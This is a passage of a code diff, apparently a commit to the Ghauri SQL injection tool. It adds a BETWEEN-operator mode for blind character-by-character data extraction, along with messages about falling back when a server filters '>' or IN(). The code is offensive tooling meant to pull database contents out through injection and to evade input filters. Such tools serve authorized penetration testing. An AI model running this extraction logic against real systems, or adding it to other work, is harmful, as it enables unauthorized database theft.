added switch '--fetch-using=between' for between and in based operator for data retrieval, updated code quality fixed issue with custom marker detection when no level is provided
# f"how do you want to proceed? [(C)continue/(q)uit] ",
231
+
# batch=False,
232
+
# user_input="C",
233
+
# )
234
+
# if choice == "q":
235
+
# logger.error("user quit")
236
+
# logger.end("ending")
237
+
# exit(0)
238
+
# if choice == "c":
239
+
# retry_on_error = 0
171
240
if delay > 0:
172
241
time.sleep(delay)
173
242
try:
skipped 36 lines
210
279
binary_search=True,
211
280
in_based_search=in_based_search,
212
281
linear_search=linear_search,
282
+
between_based_search=between_based_search,
213
283
msg="",
214
284
)
285
+
if _type == "between_based_search":
286
+
msg = "it appears that the character '>' is filtered by the back-end server. ghauri will based data retrieval on BETWEEN operator"
287
+
if conf.fetch_using:
288
+
msg = ""
289
+
_temp = GuessUsing(
290
+
ok=True,
291
+
binary_search=binary_search,
292
+
in_based_search=in_based_search,
293
+
linear_search=linear_search,
294
+
between_based_search=True,
295
+
msg=msg,
296
+
)
215
297
if _type == "in_based_search":
298
+
msg = (
299
+
"it appears that the character '>' and 'BETWEEN' operator is filtered by the back-end server. ghauri will based data retrieval on IN() operator",
300
+
)
301
+
if conf.fetch_using:
302
+
msg = ""
216
303
_temp = GuessUsing(
217
304
ok=True,
218
305
binary_search=binary_search,
219
306
in_based_search=True,
220
307
linear_search=linear_search,
221
-
msg="it appears that the character '>' is filtered by the back-end server. ghauri will based data retrieval on IN() function",
308
+
between_based_search=between_based_search,
309
+
msg=msg,
222
310
)
223
311
if _type == "linear_search":
312
+
msg = (
313
+
"it appears that the character '>' and the operator(s) 'IN, BETWEEN' are filtered by the back-end server. ghauri will based data retrieval on '=' operator, You are advised to use --delay=3 in this case",
314
+
)
315
+
if conf.fetch_using:
316
+
msg = ""
224
317
_temp = GuessUsing(
225
318
ok=True,
226
319
binary_search=binary_search,
227
320
in_based_search=in_based_search,
228
321
linear_search=True,
229
-
msg="it appears that the character '>' and function 'IN' both are filtered by the back-end server. ghauri will based data retrieval on '=' operator, You are advised to use --delay=3 in this case",
322
+
between_based_search=between_based_search,
323
+
msg=msg,
230
324
)
231
325
break
232
326
if vector_type == "time_vector":
skipped 5 lines
238
332
binary_search=True,
239
333
in_based_search=in_based_search,
240
334
linear_search=linear_search,
241
-
msg=None,
335
+
between_based_search=between_based_search,
336
+
msg="",
337
+
)
338
+
if _type == "between_based_search":
339
+
msg = "it appears that the character '>' is filtered by the back-end server. ghauri will based data retrieval on BETWEEN operator"
340
+
if conf.fetch_using:
341
+
msg = ""
342
+
_temp = GuessUsing(
343
+
ok=True,
344
+
binary_search=binary_search,
345
+
in_based_search=in_based_search,
346
+
linear_search=linear_search,
347
+
between_based_search=True,
348
+
msg=msg,
242
349
)
243
350
if _type == "in_based_search":
351
+
msg = (
352
+
"it appears that the character '>' and 'BETWEEN' operator is filtered by the back-end server. ghauri will based data retrieval on IN() operator",
353
+
)
354
+
if conf.fetch_using:
355
+
msg = ""
244
356
_temp = GuessUsing(
245
357
ok=True,
246
358
binary_search=binary_search,
247
359
in_based_search=True,
248
360
linear_search=linear_search,
249
-
msg="it appears that the character '>' is filtered by the back-end server. ghauri will based data retrieval on IN() function",
361
+
between_based_search=between_based_search,
362
+
msg=msg,
250
363
)
251
364
if _type == "linear_search":
365
+
msg = (
366
+
"it appears that the character '>' and the operator(s) 'IN, BETWEEN' are filtered by the back-end server. ghauri will based data retrieval on '=' operator, You are advised to use --delay=3 in this case",
367
+
)
368
+
if conf.fetch_using:
369
+
msg = ""
252
370
_temp = GuessUsing(
253
371
ok=True,
254
372
binary_search=binary_search,
255
373
in_based_search=in_based_search,
256
374
linear_search=True,
257
-
msg="it appears that the character '>' and function 'IN' both are filtered by the back-end server. ghauri will based data retrieval on '=' operator, You are advised to use --delay=3 in this case",
375
+
between_based_search=between_based_search,
376
+
msg=msg,
258
377
)
259
378
break
260
379
start += 1
skipped 415 lines
676
795
retry_on_error += 1
677
796
return character
678
797
798
+
def _search_using_between_operator(
799
+
self,
800
+
url,
801
+
data,
802
+
vector,
803
+
parameter,
804
+
headers,
805
+
base,
806
+
injection_type,
807
+
delay=0,
808
+
timesec=5,
809
+
timeout=30,
810
+
proxy=None,
811
+
attack01=None,
812
+
code=None,
813
+
match_string=None,
814
+
not_match_string=None,
815
+
text_only=False,
816
+
is_multipart=False,
817
+
suppress_output=False,
818
+
query_check=False,
819
+
minimum=None,
820
+
maximum=None,
821
+
offset=0,
822
+
expression_payload=None,
823
+
queryable=None,
824
+
chars="",
825
+
vector_type=None,
826
+
retry=3,
827
+
*args,
828
+
**kwargs,
829
+
):
830
+
# need to implement retry mechanism in case of http connection related errors..
831
+
if not minimum:
832
+
minimum = 32
833
+
if not maximum:
834
+
maximum = 127
835
+
ascii_char = 0
836
+
is_found = False
837
+
character = ""
838
+
http_firewall_code_counter = 0
839
+
error_msg = None
840
+
retry_on_error = 0
841
+
if not conf.threads:
842
+
logger.progress(f"retrieved: {chars}")
843
+
if conf.threads:
844
+
chars = "".join(
845
+
[
846
+
str(i)
847
+
for i in collections.OrderedDict(
848
+
sorted(conf._thread_chars_query.items())
849
+
).values()
850
+
]
851
+
)
852
+
logger.progress(f"retrieved: {chars}")
853
+
sleep_time = conf.timesec
854
+
while not is_found:
855
+
if conf._readtimout_counter >= 3:
856
+
if conf.rto_warning:
857
+
if not conf.rtom_warning:
858
+
choice = logger.read_input(
859
+
"Ghauri detected read timeout multiple time(s). Do you want to continue? [y/N] "
860
+
)
861
+
if choice == "n":
862
+
logger.end("ending")
863
+
exit(0)
864
+
conf.rtom_warning = True
865
+
if not conf.rto_warning:
866
+
msgrto = ""
867
+
if vector_type == "time_vector":
868
+
msgrto = ", It is recommended to set high value of option(s) '--time-sec', increase delay between request(s) with an option '--delay'"
869
+
if vector_type == "boolean_vector":
870
+
msgrto = ", It is recommended to set high value of option(s) '--timeout' and also increase delay between each http request with an option '--delay'"